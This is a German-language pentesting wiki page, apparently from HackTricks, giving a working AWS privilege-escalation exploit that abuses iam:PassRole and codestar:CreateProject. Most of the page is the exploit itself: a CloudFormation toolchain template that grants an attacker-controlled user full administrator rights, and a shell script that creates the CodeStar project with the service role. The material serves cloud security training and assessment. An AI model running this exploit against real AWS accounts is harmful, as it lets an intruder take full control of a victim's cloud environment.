2.8 KiB
iam:PassRole, codestar:CreateProject
{{#include ../../../../banners/hacktricks-training.md}}
Mit diesen Berechtigungen können Sie eine codestar IAM-Rolle ausnutzen, um willkürliche Aktionen über eine CloudFormation-Vorlage durchzuführen.
Um dies auszunutzen, müssen Sie einen S3-Bucket erstellen, der vom angegriffenen Konto zugänglich ist. Laden Sie eine Datei namens toolchain.json hoch. Diese Datei sollte die CloudFormation-Vorlagenausnutzung enthalten. Die folgende kann verwendet werden, um eine verwaltete Richtlinie einem Benutzer unter Ihrer Kontrolle zuzuweisen und ihm Administratorberechtigungen zu geben:
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": ["<compromised username>"]
}
}
}
}
Lade auch diese leere zip Datei in den bucket hoch:
{% file src="../../../../images/empty.zip" %}
Denke daran, dass der bucket mit beiden Dateien vom Opferkonto aus zugänglich sein muss.
Nachdem beide Dinge hochgeladen sind, kannst du nun mit der Ausnutzung fortfahren, indem du ein codestar Projekt erstellst:
PROJECT_NAME="supercodestar"
# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
Dieser Exploit basiert auf dem Pacu-Exploit dieser Berechtigungen: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Darin finden Sie eine Variation, um eine von einem Administrator verwaltete Richtlinie für eine Rolle anstelle eines Benutzers zu erstellen.
{{#include ../../../../banners/hacktricks-training.md}}